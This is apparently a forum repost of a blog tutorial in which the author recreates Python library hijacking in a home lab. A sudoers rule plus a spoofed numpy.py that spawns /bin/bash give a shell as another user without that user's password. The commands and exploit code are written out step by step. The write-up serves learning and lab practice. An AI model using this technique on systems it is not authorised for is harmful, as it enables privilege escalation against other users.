[Tut] Python Library Hijacking – A Simple Demonstration on NumPy

[Tut] Python Library Hijacking – A Simple Demonstration on NumPy - Printable Version

+- Sick Gaming (https://sickgaming.net)
+-- Forum: Programming (https://sickgaming.net/forum-76.html)
+--- Forum: Python (https://sickgaming.net/forum-83.html)
+--- Thread: [Tut] Python Library Hijacking – A Simple Demonstration on NumPy (/thread-100269.html)

[Tut] Python Library Hijacking – A Simple Demonstration on NumPy - xSicKxBot - 11-22-2022

Python Library Hijacking – A Simple Demonstration on NumPy

5/5 – (1 vote)

In this blog post, I’ll show you how recreated a Python library hijacking vulnerability on my home network.

[Image: image-224.png]

The Wonderland box on TryHackMe was the inspiration for exploring this kind of vulnerability.

In my previous Wonderland walkthrough blog post, I highlighted an example of exploiting the ‘

Code:
random

’ module to switch users without knowing their password.

In this post, I’ll guide you through the setup and execution of the exploit. You can also watch the accompanying video tutorial here:

[Image: lyteCache.php?origThumbUrl=https%3A%2F%2...efault.jpg]

What is Python Library Hijacking?

[Image: image-225.png]

When a user has permission to run a file as another user it is possible to create a spoof file that Python will load instead of the originally intended module or library. The necessary conditions for Python library hijacking are:

The user must have sudo permissions to run a Python file
Code:
.py
as another user
The Python path must be set to look first in the folder where the spoof file is stored

Setup

In order to re-create this vulnerability, I had to learn how to set up the above conditions for the exploit.

On my home network, I have a Raspberry Pi 3b running DietPi operating system. Originally I set this up to run Pi-hole to filter ads out from my home network.

In order to set up the permissions to run a file as another user I edited the sudoers file with

Code:
visudo

.

Visudo is a special editor specifically for editing the sudoers file. It only allows one user to edit the file at a time, and also checks user edits for correct syntax. I created a file called ‘

Code:
checkmypermissions.py

’ and granted sudo permissions to

Code:
vulnerableuser

to run it as user ben.

[Image: image-219-1024x238.png]

To do this I used the command ‘

Code:
sudo visudo

’ to edit sudoers file, and then I added the second line for vulnerable user:

Code:
# User privilege specification
root ALL=(ALL:ALL) ALL
vulnerableuser ALL=(ben:1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py

The nice thing about

Code:
visudo

is that it checks your formatting to make sure that there are not any errors, and it will even suggest changes to help you format the permissions correctly.

This functionality helped me save time getting the correct spacing and punctuation on the new sudoers line.

Running the Exploit

[Image: image-227.png]

Once the permissions were set up I ssh’d into

Code:
vulnerableuser@<raspberry pi IP>

. Running the ‘

Code:
sudo -l

’ command showed me the granular sudo permissions.

[Image: image-220.png]

The line above

Code:
(ben : 1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py

shows that as

Code:
vulnerableuser

I can execute the

Code:
checkmypermissions.py

file as the user Ben.

All that is left to do is to check the Python PATH to make sure that it checks first in the current directory, and then create a python file named

Code:
numpy.py

with code to spawn a shell. One way to check the Python PATH is:

Python

Code:
import sys
sys.path

In the example below, we can see that the python PATH is already set to search in the current working directory (

Code:
''

Next we create the

Code:
numpy.py

file to spawn a shell.

Code:
nano numpy.py

Code:
import os
os.system("/bin/bash")

It is important to first set up execute permissions on the spoofed

Code:
numpy.py

file:

Code:
chmod +x numpy.py

Now we can carry out the python library hijack and spawn a shell as user ben without knowing their password by running the following command:

Code:
sudo -u ben /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py  

Project Learnings

[Image: image-228.png]

Learning #1

I learned that Visudo is a special editor within Linux to change the sudoers file

Code:
/etc/sudoers

.

It helps check formatting to avoid any errors or crashes from poorly written lines. The sudoers file allows the root user to granularize user permissions with the sudoers file on Linux.

Learning #2

Granting run as another user file permissions can expose a machine to library hijacking vulnerabilities.

Running

Code:
sudo -l

can help expose special user file permissions when enumerating for attack vectors to execute privilege escalation.

Learning #3

I found that it is helpful to compile a custom shortlist of Python and bash commands new to me for each project. I borrowed this strategy from my experience with language learning.

Over the years, I’ve improved my Mandarin by taking notes on new vocabulary words and grammar patterns. When working on a new topic area I would always create my own custom grammar and vocabulary lists for reference.

I’ve found that the simple act of focusing on recording a list helps to cement my learning and creates a nice reference for later use.